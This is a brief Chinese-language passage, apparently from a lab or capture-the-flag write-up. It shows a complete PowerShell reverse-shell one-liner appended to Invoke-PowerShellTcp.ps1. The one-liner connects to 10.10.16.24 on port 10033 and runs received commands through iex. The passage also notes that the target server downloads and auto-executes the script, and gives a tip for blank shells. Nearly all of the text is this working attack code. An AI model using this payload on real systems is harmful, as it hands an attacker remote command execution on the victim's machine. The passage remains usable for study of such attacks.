但是似乎并不起作用

将内容添加至Invoke-PowerShellTcp.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.10.16.24',10033);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

服务器下载Invoke-PowerShellTcp.ps1自动执行

有几次回连的shell会空白，手动停止浏览器访问的URL
